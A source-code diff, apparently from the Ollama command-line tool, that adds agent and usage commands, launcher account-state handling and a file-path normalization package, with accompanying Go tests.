 	if err != nil {
 		return err
 	}
 
-	requestedCloud := modelref.HasExplicitCloudSource(modelName)
-
-	info, err := func() (*api.ShowResponse, error) {
-		showReq := &api.ShowRequest{Name: modelName}
-		info, err := client.Show(cmd.Context(), showReq)
-		var se api.StatusError
-		if errors.As(err, &se) && se.StatusCode == http.StatusNotFound {
-			if requestedCloud {
-				return nil, err
-			}
-			if err := PullHandler(cmd, []string{modelName}); err != nil {
-				return nil, err
-			}
-			return client.Show(cmd.Context(), &api.ShowRequest{Name: modelName})
-		}
-		return info, err
-	}()
+	opts := agentTUIOptions{
+		Model:   modelName,
+		Options: map[string]any{},
+	}
+	info, err := prepareAgentModel(cmd, client, &opts, false)
 	if err != nil {
 		if handleCloudAuthorizationError(err) {
 			return nil
 		}
 		return err
 	}
+	opts.System = info.System
 
-	ensureCloudStub(cmd.Context(), client, modelName)
-
-	opts.Think, err = inferThinkingOption(&info.Capabilities, &opts, false)
-	if err != nil {
+	if err := saveLastAgentModel(opts.Model); err != nil {
 		return err
 	}
-
-	audioCapable := slices.Contains(info.Capabilities, model.CapabilityAudio)
-	opts.MultiModal = slices.Contains(info.Capabilities, model.CapabilityVision) || audioCapable
-
-	// TODO: remove the projector info and vision info checks below,
-	// these are left in for backwards compatibility with older servers
-	// that don't have the capabilities field in the model info
-	if len(info.ProjectorInfo) != 0 {
-		opts.MultiModal = true
-	}
-	for k := range info.ModelInfo {
-		if strings.Contains(k, ".vision.") {
-			opts.MultiModal = true
-			break
+	if err := GenerateAgentTUI(cmd, client, opts); err != nil {
+		if handleCloudAuthorizationError(err) {
+			return nil
 		}
-	}
-
-	applyShowResponseToRunOptions(&opts, info)
-
-	if err := loadOrUnloadModel(cmd, &opts); err != nil {
-		return fmt.Errorf("error loading model: %w", err)
-	}
-	if err := generateInteractive(cmd, opts); err != nil {
-		return fmt.Errorf("error running model: %w", err)
+		return fmt.Errorf("error running agent: %w", err)
 	}
 	return nil
 }
@@ -2047,12 +2267,15 @@ func runInteractiveTUI(cmd *cobra.Command) {
 		return
 	}
 
+	accountPrefetch := launch.StartAccountStatePrefetch(cmd.Context())
 	deps := launcherDeps{
-		buildState:        launch.BuildLauncherState,
-		runMenu:           tui.RunMenu,
-		resolveRunModel:   launch.ResolveRunModel,
-		launchIntegration: launch.LaunchIntegration,
-		runModel:          launchInteractiveModel,
+		buildState:          launch.BuildLauncherState,
+		runMenu:             tui.RunMenu,
+		resolveRunModel:     launch.ResolveRunModel,
+		launchIntegration:   launch.LaunchIntegration,
+		runModel:            launchInteractiveModel,
+		accountState:        accountPrefetch.StateIfReady,
+		accountStateUpdates: accountPrefetch.StateUpdates,
 	}
 
 	for {
@@ -2067,11 +2290,13 @@ func runInteractiveTUI(cmd *cobra.Command) {
 }
 
 type launcherDeps struct {
-	buildState        func(context.Context) (*launch.LauncherState, error)
-	runMenu           func(*launch.LauncherState) (tui.TUIAction, error)
-	resolveRunModel   func(context.Context, launch.RunModelRequest) (string, error)
-	launchIntegration func(context.Context, launch.IntegrationLaunchRequest) error
-	runModel          func(*cobra.Command, string) error
+	buildState          func(context.Context) (*launch.LauncherState, error)
+	runMenu             func(*launch.LauncherState) (tui.TUIAction, error)
+	resolveRunModel     func(context.Context, launch.RunModelRequest) (string, error)
+	launchIntegration   func(context.Context, launch.IntegrationLaunchRequest) error
+	runModel            func(*cobra.Command, string) error
+	accountState        func() *launch.AccountState
+	accountStateUpdates func(context.Context) <-chan *launch.AccountState
 }
 
 func runInteractiveTUIStep(cmd *cobra.Command, deps launcherDeps) (bool, error) {
@@ -2079,6 +2304,9 @@ func runInteractiveTUIStep(cmd *cobra.Command, deps launcherDeps) (bool, error)
 	if err != nil {
 		return false, fmt.Errorf("build launcher state: %w", err)
 	}
+	if state != nil && deps.accountState != nil {
+		state.AccountState = deps.accountState()
+	}
 
 	action, err := deps.runMenu(state)
 	if err != nil {
@@ -2099,7 +2327,13 @@ func runLauncherAction(cmd *cobra.Command, action tui.TUIAction, deps launcherDe
 		return false, nil
 	case tui.TUIActionRunModel:
 		saveLauncherSelection(action)
-		modelName, err := deps.resolveRunModel(cmd.Context(), action.RunModelRequest())
+		req := action.RunModelRequest()
+		if deps.accountState != nil {
+			req.AccountState = deps.accountState()
+			req.AccountStateProvider = deps.accountState
+		}
+		req.AccountStateUpdates = deps.accountStateUpdates
+		modelName, err := deps.resolveRunModel(cmd.Context(), req)
 		if errors.Is(err, launch.ErrCancelled) {
 			return true, nil
 		}
@@ -2112,15 +2346,20 @@ func runLauncherAction(cmd *cobra.Command, action tui.TUIAction, deps launcherDe
 		return true, nil
 	case tui.TUIActionLaunchIntegration:
 		saveLauncherSelection(action)
-		err := deps.launchIntegration(cmd.Context(), action.IntegrationLaunchRequest())
+		req := action.IntegrationLaunchRequest()
+		if deps.accountState != nil {
+			req.AccountState = deps.accountState()
+			req.AccountStateProvider = deps.accountState
+		}
+		req.AccountStateUpdates = deps.accountStateUpdates
+		err := deps.launchIntegration(cmd.Context(), req)
 		if errors.Is(err, launch.ErrCancelled) {
 			return true, nil
 		}
 		if err != nil {
 			return true, fmt.Errorf("launching %s: %w", action.Integration, err)
 		}
-		// VS Code is a GUI app — exit the TUI loop after launching
-		if action.Integration == "vscode" {
+		if launcherActionExitsLoop(action.Integration) {
 			return false, nil
 		}
 		return true, nil
@@ -2129,6 +2368,15 @@ func runLauncherAction(cmd *cobra.Command, action tui.TUIAction, deps launcherDe
 	}
 }
 
+func launcherActionExitsLoop(integration string) bool {
+	switch integration {
+	case "chatgpt", "codex-app", "vscode":
+		return true
+	default:
+		return false
+	}
+}
+
 func NewCLI() *cobra.Command {
 	log.SetFlags(log.LstdFlags | log.Lshortfile)
 	cobra.EnableCommandSorting = false
@@ -2175,6 +2423,7 @@ func NewCLI() *cobra.Command {
 
 	createCmd.Flags().StringP("file", "f", "", "Name of the Modelfile (default \"Modelfile\")")
 	createCmd.Flags().StringP("quantize", "q", "", "Quantize model to this level (e.g. q4_K_M)")
+	createCmd.Flags().String("draft-quantize", "", "Quantize draft model to this level")
 	createCmd.Flags().Bool("experimental", false, "Enable experimental safetensors model creation")
 
 	showCmd := &cobra.Command{
@@ -2210,9 +2459,6 @@ func NewCLI() *cobra.Command {
 	runCmd.Flags().Bool("hidethinking", false, "Hide thinking output (if provided)")
 	runCmd.Flags().Bool("truncate", false, "For embedding models: truncate inputs exceeding context length (default: true). Set --truncate=false to error instead")
 	runCmd.Flags().Int("dimensions", 0, "Truncate output embeddings to specified dimension (embedding models only)")
-	runCmd.Flags().Bool("experimental", false, "Enable experimental agent loop with tools")
-	runCmd.Flags().Bool("experimental-yolo", false, "Skip all tool approval prompts (use with caution)")
-	runCmd.Flags().Bool("experimental-websearch", false, "Enable web search tool in experimental mode")
 
 	// Image generation flags (width, height, steps, seed, etc.)
 	imagegen.RegisterFlags(runCmd)
@@ -2220,6 +2466,15 @@ func NewCLI() *cobra.Command {
 	runCmd.Flags().Bool("imagegen", false, "Use the imagegen runner for LLM inference")
 	runCmd.Flags().MarkHidden("imagegen")
 
+	agentCmd := &cobra.Command{
+		Use:     "agent",
+		Short:   "Run an agent",
+		Args:    cobra.ExactArgs(0),
+		PreRunE: checkServerHeartbeat,
+		RunE:    AgentHandler,
+	}
+	registerAgentFlags(agentCmd)
+
 	stopCmd := &cobra.Command{
 		Use:     "stop MODEL",
 		Short:   "Stop a running model",
@@ -2290,6 +2545,14 @@ func NewCLI() *cobra.Command {
 		RunE:    SignoutHandler,
 	}
 
+	usageCmd := &cobra.Command{
+		Use:     "usage",
+		Short:   "Show your ollama.com usage",
+		Args:    cobra.ExactArgs(0),
+		PreRunE: checkServerHeartbeat,
+		RunE:    UsageHandler,
+	}
+
 	listCmd := &cobra.Command{
 		Use:     "list",
 		Aliases: []string{"ls"},
@@ -2332,6 +2595,16 @@ func NewCLI() *cobra.Command {
 		_ = runner.Execute(args[1:])
 	})
 
+	var gpuDiscoverLibDirs []string
+	gpuDiscoverCmd := &cobra.Command{
+		Use:    "gpu-discover",
+		Hidden: true,
+		RunE: func(cmd *cobra.Command, _ []string) error {
+			return discover.RunNativeProbeCommand(cmd.Context(), gpuDiscoverLibDirs, os.Stdout)
+		},
+	}
+	gpuDiscoverCmd.Flags().StringArrayVar(&gpuDiscoverLibDirs, "lib-dir", nil, "Ollama runtime library directory")
+
 	envVars := envconfig.AsMap()
 
 	envs := []envconfig.EnvVar{envVars["OLLAMA_HOST"]}
@@ -2340,9 +2613,11 @@ func NewCLI() *cobra.Command {
 		createCmd,
 		showCmd,
 		runCmd,
+		agentCmd,
 		stopCmd,
 		pullCmd,
 		pushCmd,
+		usageCmd,
 		listCmd,
 		psCmd,
 		copyCmd,
@@ -2360,6 +2635,7 @@ func NewCLI() *cobra.Command {
 				envVars["OLLAMA_CONTEXT_LENGTH"],
 				envVars["OLLAMA_KEEP_ALIVE"],
 				envVars["OLLAMA_MAX_LOADED_MODELS"],
+				envVars["OLLAMA_MAX_TRANSFER_STREAMS"],
 				envVars["OLLAMA_MAX_QUEUE"],
 				envVars["OLLAMA_MODELS"],
 				envVars["OLLAMA_NUM_PARALLEL"],
@@ -2371,6 +2647,9 @@ func NewCLI() *cobra.Command {
 				envVars["OLLAMA_KV_CACHE_TYPE"],
 				envVars["OLLAMA_LLM_LIBRARY"],
 				envVars["OLLAMA_GPU_OVERHEAD"],
+				envVars["OLLAMA_IGPU_ENABLE"],
+				envVars["LLAMA_ARG_FIT"],
+				envVars["LLAMA_ARG_FIT_TARGET"],
 				envVars["OLLAMA_LOAD_TIMEOUT"],
 			})
 		default:
@@ -2383,6 +2662,7 @@ func NewCLI() *cobra.Command {
 		createCmd,
 		showCmd,
 		runCmd,
+		agentCmd,
 		stopCmd,
 		pullCmd,
 		pushCmd,
@@ -2390,11 +2670,13 @@ func NewCLI() *cobra.Command {
 		loginCmd,
 		signoutCmd,
 		logoutCmd,
+		usageCmd,
 		listCmd,
 		psCmd,
 		copyCmd,
 		deleteCmd,
 		runnerCmd,
+		gpuDiscoverCmd,
 		launch.LaunchCmd(checkServerHeartbeat, runInteractiveTUI),
 	)
 

cmd/cmd_launcher_test.go

@@ -76,11 +76,18 @@ func TestRunInteractiveTUI_RunModelActionsUseResolveRunModel(t *testing.T) {
 
 			var gotReq launch.RunModelRequest
 			var launched string
+			prefetchedAccount := &launch.AccountState{}
+			accountUpdates := func(context.Context) <-chan *launch.AccountState { return nil }
 			deps := launcherDeps{
 				buildState: func(ctx context.Context) (*launch.LauncherState, error) {
 					return &launch.LauncherState{}, nil
 				},
-				runMenu: runMenu,
+				runMenu: func(state *launch.LauncherState) (tui.TUIAction, error) {
+					if state.AccountState != prefetchedAccount {
+						t.Fatalf("prefetched account state was not piped to menu state")
+					}
+					return runMenu(state)
+				},
 				resolveRunModel: func(ctx context.Context, req launch.RunModelRequest) (string, error) {
 					gotReq = req
 					return tt.wantModel, nil
@@ -90,6 +97,10 @@ func TestRunInteractiveTUI_RunModelActionsUseResolveRunModel(t *testing.T) {
 					launched = model
 					return nil
 				},
+				accountState: func() *launch.AccountState {
+					return prefetchedAccount
+				},
+				accountStateUpdates: accountUpdates,
 			}
 
 			cmd := &cobra.Command{}
@@ -107,6 +118,12 @@ func TestRunInteractiveTUI_RunModelActionsUseResolveRunModel(t *testing.T) {
 			if gotReq.ForcePicker != tt.wantForce {
 				t.Fatalf("expected ForcePicker=%v, got %v", tt.wantForce, gotReq.ForcePicker)
 			}
+			if gotReq.AccountState != prefetchedAccount {
+				t.Fatalf("expected prefetched account state to be passed to run model request")
+			}
+			if gotReq.AccountStateUpdates == nil {
+				t.Fatalf("expected account state updates to be passed to run model request")
+			}
 			if launched != tt.wantModel {
 				t.Fatalf("expected interactive launcher to run %q, got %q", tt.wantModel, launched)
 			}
@@ -148,17 +165,28 @@ func TestRunInteractiveTUI_IntegrationActionsUseLaunchIntegration(t *testing.T)
 			}
 
 			var gotReq launch.IntegrationLaunchRequest
+			prefetchedAccount := &launch.AccountState{}
+			accountUpdates := func(context.Context) <-chan *launch.AccountState { return nil }
 			deps := launcherDeps{
 				buildState: func(ctx context.Context) (*launch.LauncherState, error) {
 					return &launch.LauncherState{}, nil
 				},
-				runMenu:         runMenu,
+				runMenu: func(state *launch.LauncherState) (tui.TUIAction, error) {
+					if state.AccountState != prefetchedAccount {
+						t.Fatalf("prefetched account state was not piped to menu state")
+					}
+					return runMenu(state)
+				},
 				resolveRunModel: unexpectedRunModelResolution(t),
 				launchIntegration: func(ctx context.Context, req launch.IntegrationLaunchRequest) error {
 					gotReq = req
 					return nil
 				},
 				runModel: unexpectedModelLaunch(t),
+				accountState: func() *launch.AccountState {
+					return prefetchedAccount
+				},
+				accountStateUpdates: accountUpdates,
 			}
 
 			cmd := &cobra.Command{}
@@ -179,6 +207,12 @@ func TestRunInteractiveTUI_IntegrationActionsUseLaunchIntegration(t *testing.T)
 			if gotReq.ForceConfigure != tt.wantForce {
 				t.Fatalf("expected ForceConfigure=%v, got %v", tt.wantForce, gotReq.ForceConfigure)
 			}
+			if gotReq.AccountState != prefetchedAccount {
+				t.Fatalf("expected prefetched account state to be passed to integration request")
+			}
+			if gotReq.AccountStateUpdates == nil {
+				t.Fatalf("expected account state updates to be passed to integration request")
+			}
 			if got := config.LastSelection(); got != "claude" {
 				t.Fatalf("expected last selection to be claude, got %q", got)
 			}
@@ -209,29 +243,30 @@ func TestRunLauncherAction_RunModelContinuesAfterCancellation(t *testing.T) {
 	}
 }
 
-func TestRunLauncherAction_VSCodeExitsTUILoop(t *testing.T) {
+func TestRunLauncherAction_GUIAppsExitTUILoop(t *testing.T) {
 	setCmdTestHome(t, t.TempDir())
 
 	cmd := &cobra.Command{}
 	cmd.SetContext(context.Background())
 
-	// VS Code should exit the TUI loop (return false) after a successful launch.
-	continueLoop, err := runLauncherAction(cmd, tui.TUIAction{Kind: tui.TUIActionLaunchIntegration, Integration: "vscode"}, launcherDeps{
-		resolveRunModel: unexpectedRunModelResolution(t),
-		launchIntegration: func(ctx context.Context, req launch.IntegrationLaunchRequest) error {
-			return nil
-		},
-		runModel: unexpectedModelLaunch(t),
-	})
-	if err != nil {
-		t.Fatalf("expected nil error, got %v", err)
-	}
-	if continueLoop {
-		t.Fatal("expected vscode launch to exit the TUI loop (return false)")
+	for _, integration := range []string{"chatgpt", "vscode"} {
+		continueLoop, err := runLauncherAction(cmd, tui.TUIAction{Kind: tui.TUIActionLaunchIntegration, Integration: integration}, launcherDeps{
+			resolveRunModel: unexpectedRunModelResolution(t),
+			launchIntegration: func(ctx context.Context, req launch.IntegrationLaunchRequest) error {
+				return nil
+			},
+			runModel: unexpectedModelLaunch(t),
+		})
+		if err != nil {
+			t.Fatalf("expected nil error for %s, got %v", integration, err)
+		}
+		if continueLoop {
+			t.Fatalf("expected %s launch to exit the TUI loop (return false)", integration)
+		}
 	}
 
 	// Other integrations should continue the TUI loop (return true).
-	continueLoop, err = runLauncherAction(cmd, tui.TUIAction{Kind: tui.TUIActionLaunchIntegration, Integration: "claude"}, launcherDeps{
+	continueLoop, err := runLauncherAction(cmd, tui.TUIAction{Kind: tui.TUIActionLaunchIntegration, Integration: "claude"}, launcherDeps{
 		resolveRunModel: unexpectedRunModelResolution(t),
 		launchIntegration: func(ctx context.Context, req launch.IntegrationLaunchRequest) error {
 			return nil

cmd/cmd_test.go

@@ -9,6 +9,7 @@ import (
 	"net/http"
 	"net/http/httptest"
 	"os"
+	"path/filepath"
 	"reflect"
 	"strings"
 	"testing"
@@ -1397,6 +1398,102 @@ func TestListHandler(t *testing.T) {
 	}
 }
 
+func TestUsageHandler(t *testing.T) {
+	startsAt := time.Date(2026, time.June, 29, 0, 0, 0, 0, time.UTC)
+	endsAt := time.Date(2026, time.July, 27, 0, 0, 0, 0, time.UTC)
+
+	tests := []struct {
+		name       string
+		statusCode int
+		response   any
+		want       string
+	}{
+		{
+			name:       "activity and limits",
+			statusCode: http.StatusOK,
+			response: api.UsageResponse{
+				Activity: api.UsageActivity{
+					Cost: "12.34000",
+					Period: api.UsagePeriod{
+						Type:       "last_4_weeks",
+						StartingAt: startsAt,
+						EndingAt:   endsAt,
+					},
+					Models: []api.UsageModel{{Name: "gpt-oss:120b", RequestCount: 42, Cost: "12.34000"}},
+				},
+				Limits: api.UsageLimits{
+					Session: api.UsageLimit{Usage: 0.006, Models: []api.UsageModel{{Name: "web search", RequestCount: 1}}},
+				},
+			},
+			want: "Usage\n" +
+				"  Period  2026-06-29 to 2026-07-27\n" +
+				"  Spend   $12.34000\n\n" +
+				"Activity\n" +
+				"  Model         Requests  Spend\n" +
+				"  gpt-oss:120b  42        $12.34000\n\n" +
+				"Session\n" +
+				"  Used        0.6%\n" +
+				"  Model       Requests\n" +
+				"  Web Search  1\n",
+		},
+		{
+			name:       "no usage",
+			statusCode: http.StatusOK,
+			response: api.UsageResponse{
+				Activity: api.UsageActivity{
+					Cost:   "0.00000",
+					Period: api.UsagePeriod{Type: "last_4_weeks", StartingAt: startsAt, EndingAt: endsAt},
+					Models: []api.UsageModel{},
+				},
+				Limits: api.UsageLimits{
+					Session: api.UsageLimit{Models: []api.UsageModel{}},
+					Weekly:  api.UsageLimit{Models: []api.UsageModel{}},
+				},
+			},
+			want: "Usage\n" +
+				"  Period  2026-06-29 to 2026-07-27\n" +
+				"  Spend   $0.00000\n\n" +
+				"No usage recorded for this period.\n",
+		},
+		{
+			name:       "not signed in",
+			statusCode: http.StatusUnauthorized,
+			response:   map[string]string{"error": "unauthorized"},
+			want:       "You need to be signed in to Ollama to view usage.\n\n",
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+				if r.Method != http.MethodGet || r.URL.Path != "/api/usage" {
+					t.Fatalf("request = %s %s, want GET /api/usage", r.Method, r.URL.Path)
+				}
+				w.Header().Set("Content-Type", "application/json")
+				w.WriteHeader(tt.statusCode)
+				if err := json.NewEncoder(w).Encode(tt.response); err != nil {
+					t.Fatal(err)
+				}
+			}))
+			defer server.Close()
+
+			t.Setenv("OLLAMA_HOST", server.URL)
+
+			cmd := &cobra.Command{}
+			cmd.SetContext(t.Context())
+			var out bytes.Buffer
+			cmd.SetOut(&out)
+
+			if err := UsageHandler(cmd, nil); err != nil {
+				t.Fatal(err)
+			}
+			if got := out.String(); got != tt.want {
+				t.Errorf("unexpected output (-want +got):\n%s", cmp.Diff(tt.want, got))
+			}
+		})
+	}
+}
+
 func TestCreateHandler(t *testing.T) {
 	tests := []struct {
 		name           string
@@ -1524,6 +1621,118 @@ func TestCreateHandler(t *testing.T) {
 	}
 }
 
+func TestCreateRequestFileNamesPreservesModelDirectoryLayout(t *testing.T) {
+	root := t.TempDir()
+	files := map[string]string{
+		filepath.Join(root, "model.safetensors"):            "sha256:model",
+		filepath.Join(root, "config.json"):                  "sha256:config",
+		filepath.Join(root, "2_Dense", "config.json"):       "sha256:dense-config",
+		filepath.Join(root, "2_Dense", "model.safetensors"): "sha256:dense-model",
+	}
+
+	got := createRequestFileNames(files)
+	want := map[string]string{
+		filepath.Join(root, "model.safetensors"):            "model.safetensors",
+		filepath.Join(root, "config.json"):                  "config.json",
+		filepath.Join(root, "2_Dense", "config.json"):       "2_Dense/config.json",
+		filepath.Join(root, "2_Dense", "model.safetensors"): "2_Dense/model.safetensors",
+	}
+
+	if diff := cmp.Diff(want, got); diff != "" {
+		t.Fatalf("mismatch (-want +got):\n%s", diff)
+	}
+}
+
+func TestCreateRequestFileNamesPreservesRelativeModelDirectoryLayout(t *testing.T) {
+	root := t.TempDir()
+	t.Chdir(root)
+
+	files := map[string]string{
+		"model.safetensors":         "sha256:model",
+		"config.json":               "sha256:config",
+		"2_Dense/config.json":       "sha256:dense-config",
+		"2_Dense/model.safetensors": "sha256:dense-model",
+		"3_Dense/config.json":       "sha256:dense-config",
+		"3_Dense/model.safetensors": "sha256:dense-model",
+	}
+
+	got := createRequestFileNames(files)
+	for file := range files {
+		if got[file] != filepath.ToSlash(file) {
+			t.Fatalf("%s = %q, want %q", file, got[file], filepath.ToSlash(file))
+		}
+	}
+}
+
+func TestCreateHandlerDraftQuantizeRequiresDraft(t *testing.T) {
+	dir := t.TempDir()
+	modelfile := filepath.Join(dir, "Modelfile")
+	if err := os.WriteFile(modelfile, []byte("FROM base\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	cmd := &cobra.Command{}
+	cmd.Flags().Bool("experimental", false, "")
+	cmd.Flags().String("file", modelfile, "")
+	cmd.Flags().String("draft-quantize", "mxfp8", "")
+	cmd.SetContext(t.Context())
+
+	err := CreateHandler(cmd, []string{"test-model"})
+	if err == nil || !strings.Contains(err.Error(), "--draft-quantize requires a DRAFT model") {
+		t.Fatalf("error = %v, want draft-quantize requires DRAFT", err)
+	}
+}
+
+func TestResolveExperimentalLocalModelDir(t *testing.T) {
+	dir := t.TempDir()
+	modelfile := filepath.Join(dir, "Modelfile")
+	modelDir := filepath.Join(dir, "model")
+	if err := os.Mkdir(modelDir, 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(filepath.Join(modelDir, "config.json"), []byte(`{}`), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(filepath.Join(modelDir, "model.safetensors"), []byte("dummy"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	if got := resolveExperimentalLocalModelDir("gemma4", modelfile); got != "gemma4" {
+		t.Fatalf("resolveExperimentalLocalModelDir(model name) = %q, want gemma4", got)
+	}
+	if got := resolveExperimentalLocalModelDir("./model", modelfile); got != modelDir {
+		t.Fatalf("resolveExperimentalLocalModelDir(local dir) = %q, want %q", got, modelDir)
+	}
+}
+
+func TestResolveExperimentalDraftDir(t *testing.T) {
+	dir := t.TempDir()
+	modelfile := filepath.Join(dir, "Modelfile")
+	draftDir := filepath.Join(dir, "assistant")
+	if err := os.Mkdir(draftDir, 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(filepath.Join(draftDir, "config.json"), []byte(`{}`), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(filepath.Join(draftDir, "model.safetensors"), []byte("dummy"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	got, err := resolveExperimentalDraftDir("./assistant", modelfile)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if got != draftDir {
+		t.Fatalf("resolveExperimentalDraftDir(local dir) = %q, want %q", got, draftDir)
+	}
+
+	_, err = resolveExperimentalDraftDir("assistant-model", modelfile)
+	if err == nil || !strings.Contains(err.Error(), "DRAFT model references are not supported with --experimental yet") {
+		t.Fatalf("error = %v, want unsupported draft model reference", err)
+	}
+}
+
 func TestNewCreateRequest(t *testing.T) {
 	tests := []struct {
 		name     string

cmd/internal/filedata/filedata.go

@@ -0,0 +1,189 @@
+package filedata
+
+import (
+	"errors"
+	"fmt"
+	"io"
+	"net/http"
+	"net/url"
+	"os"
+	"path/filepath"
+	"regexp"
+	"slices"
+	"strings"
+
+	"github.com/ollama/ollama/api"
+)
+
+type File struct {
+	Path string
+	Data api.ImageData
+}
+
+func NormalizePath(fp string) string {
+	fp = strings.Trim(fp, "\"")
+	fp = strings.NewReplacer(
+		"\\ ", " ",
+		"\\(", "(",
+		"\\)", ")",
+		"\\[", "[",
+		"\\]", "]",
+		"\\{", "{",
+		"\\}", "}",
+		"\\$", "$",
+		"\\&", "&",
+		"\\;", ";",
+		"\\'", "'",
+		"\\\\", "\\",
+		"\\*", "*",
+		"\\?", "?",
+		"\\~", "~",
+	).Replace(fp)
+
+	if u, err := url.Parse(fp); err == nil && strings.EqualFold(u.Scheme, "file") {
+		return normalizeFileURL(u)
+	} else if normalized, ok := normalizeMalformedFileURL(fp); ok {
+		return normalized
+	}
+
+	return fp
+}
+
+// fileExtractRe matches file:// URLs and filesystem paths ending in image/audio
+// extensions. Hoisted to package scope so the per-keystroke slash-completion
+// path (chat.slashInputIsMultimodalFile -> ExtractNames) doesn't recompile it
+// on every call.
+var fileExtractRe = regexp.MustCompile(`(?:file://\S+?\.(?i:jpg|jpeg|png|webp|wav)\b)|(?:(?:[a-zA-Z]:)?(?:\./|\.\\|/|\\)[\S\\ ]+?\.(?i:jpg|jpeg|png|webp|wav)\b)`)
+
+func ExtractNames(input string) []string {
+	return fileExtractRe.FindAllString(input, -1)
+}
+
+func Extract(input string) (string, []api.ImageData, error) {
+	cleaned, files, err := ExtractWithFiles(input)
+	if err != nil {
+		return "", nil, err
+	}
+	data := make([]api.ImageData, 0, len(files))
+	for _, file := range files {
+		data = append(data, file.Data)
+	}
+	return cleaned, data, nil
+}
+
+func ExtractWithFiles(input string) (string, []File, error) {
+	filePaths := ExtractNames(input)
+	var files []File
+
+	for _, fp := range filePaths {
+		nfp := NormalizePath(fp)
+		data, err := GetData(nfp)
+		if errors.Is(err, os.ErrNotExist) {
+			continue
+		} else if err != nil {
+			return "", nil, fmt.Errorf("couldn't process file %q: %w", nfp, err)
+		}
+		input = strings.ReplaceAll(input, "'"+nfp+"'", "")
+		input = strings.ReplaceAll(input, "'"+fp+"'", "")
+		input = strings.ReplaceAll(input, `"`+nfp+`"`, "")
+		input = strings.ReplaceAll(input, `"`+fp+`"`, "")
+		input = strings.ReplaceAll(input, fp, "")
+		files = append(files, File{Path: nfp, Data: data})
+	}
+	return strings.TrimSpace(input), files, nil
+}
+
+func GetData(filePath string) ([]byte, error) {
+	file, err := os.Open(filePath)
+	if err != nil {
+		return nil, err
+	}
+	defer file.Close()
+
+	buf := make([]byte, 512)
+	_, err = file.Read(buf)
+	if err != nil {
+		return nil, err
+	}
+
+	contentType := http.DetectContentType(buf)
+	allowedTypes := []string{"image/jpeg", "image/jpg", "image/png", "image/webp", "audio/wave"}
+	if !slices.Contains(allowedTypes, contentType) {
+		return nil, fmt.Errorf("invalid file type: %s", contentType)
+	}
+
+	info, err := file.Stat()
+	if err != nil {
+		return nil, err
+	}
+
+	var maxSize int64 = 100 * 1024 * 1024
+	if info.Size() > maxSize {
+		return nil, errors.New("file size exceeds maximum limit (100MB)")
+	}
+
+	buf = make([]byte, info.Size())
+	_, err = file.Seek(0, 0)
+	if err != nil {
+		return nil, err
+	}
+
+	_, err = io.ReadFull(file, buf)
+	if err != nil {
+		return nil, err
+	}
+
+	return buf, nil
+}
+
+func Kind(path string) string {
+	if strings.EqualFold(filepath.Ext(path), ".wav") {
+		return "audio"
+	}
+	return "image"
+}
+
+func normalizeFileURL(u *url.URL) string {
+	path := u.Path
+	if unescaped, err := url.PathUnescape(path); err == nil {
+		path = unescaped
+	}
+	host := u.Host
+	if unescaped, err := url.PathUnescape(host); err == nil {
+		host = unescaped
+	}
+	if len(host) >= 2 && host[1] == ':' && isASCIIAlpha(host[0]) {
+		return filepath.Clean(filepath.FromSlash(host + path))
+	}
+	if len(path) >= 4 && path[0] == '/' && path[2] == ':' && isASCIIAlpha(path[1]) {
+		path = path[1:]
+	}
+	if u.Host != "" && !strings.EqualFold(u.Host, "localhost") {
+		return `\\` + u.Host + filepath.FromSlash(path)
+	}
+	return filepath.FromSlash(path)
+}
+
+func normalizeMalformedFileURL(raw string) (string, bool) {
+	const prefix = "file://"
+	if !strings.HasPrefix(strings.ToLower(raw), prefix) {
+		return "", false
+	}
+
+	path := raw[len(prefix):]
+	if unescaped, err := url.PathUnescape(path); err == nil {
+		path = unescaped
+	}
+	path = strings.TrimPrefix(path, "localhost")
+	if len(path) >= 3 && path[0] == '/' && path[2] == ':' && isASCIIAlpha(path[1]) {
+		path = path[1:]
+	}
+	if len(path) >= 2 && path[1] == ':' && isASCIIAlpha(path[0]) {
+		return filepath.Clean(filepath.FromSlash(path)), true
+	}
+	return "", false
+}
+
+func isASCIIAlpha(b byte) bool {
+	return (b >= 'a' && b <= 'z') || (b >= 'A' && b <= 'Z')
+}

cmd/internal/filedata/filedata_test.go

@@ -0,0 +1,223 @@
+package filedata
+
+import (
+	"net/url"
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+)
+
+func TestNormalizePathMalformedWindowsFileURL(t *testing.T) {
+	got := NormalizePath(`file://C:%5CUsers%5Cjdoe%5CPictures%5Cimg.png`)
+	want := filepath.Clean(`C:\Users\jdoe\Pictures\img.png`)
+	if got != want {
+		t.Fatalf("path = %q, want %q", got, want)
+	}
+}
+
+func TestNormalizePathTwoSlashWindowsFileURL(t *testing.T) {
+	got := NormalizePath(`file://C:/Users/jdoe/Pictures/img.png`)
+	want := filepath.Clean(`C:/Users/jdoe/Pictures/img.png`)
+	if got != want {
+		t.Fatalf("path = %q, want %q", got, want)
+	}
+}
+
+func TestNormalizePathLocalhostWindowsFileURL(t *testing.T) {
+	got := NormalizePath(`file://localhost/C:/Users/jdoe/Pictures/img.png`)
+	want := filepath.Clean(`C:/Users/jdoe/Pictures/img.png`)
+	if got != want {
+		t.Fatalf("path = %q, want %q", got, want)
+	}
+}
+
+func TestExtractNames(t *testing.T) {
+	// Unix style paths
+	input := ` some preamble
+ ./relative\ path/one.png inbetween1 ./not a valid two.jpg inbetween2 ./1.svg
+/unescaped space /three.jpeg inbetween3 /valid\ path/dir/four.png "./quoted with spaces/five.JPG
+/unescaped space /six.webp inbetween6 /valid\ path/dir/seven.WEBP`
+	res := ExtractNames(input)
+	if len(res) != 7 {
+		t.Fatalf("len = %d, want 7", len(res))
+	}
+	assertContains(t, res[0], "one.png")
+	assertContains(t, res[1], "two.jpg")
+	assertContains(t, res[2], "three.jpeg")
+	assertContains(t, res[3], "four.png")
+	assertContains(t, res[4], "five.JPG")
+	assertContains(t, res[5], "six.webp")
+	assertContains(t, res[6], "seven.WEBP")
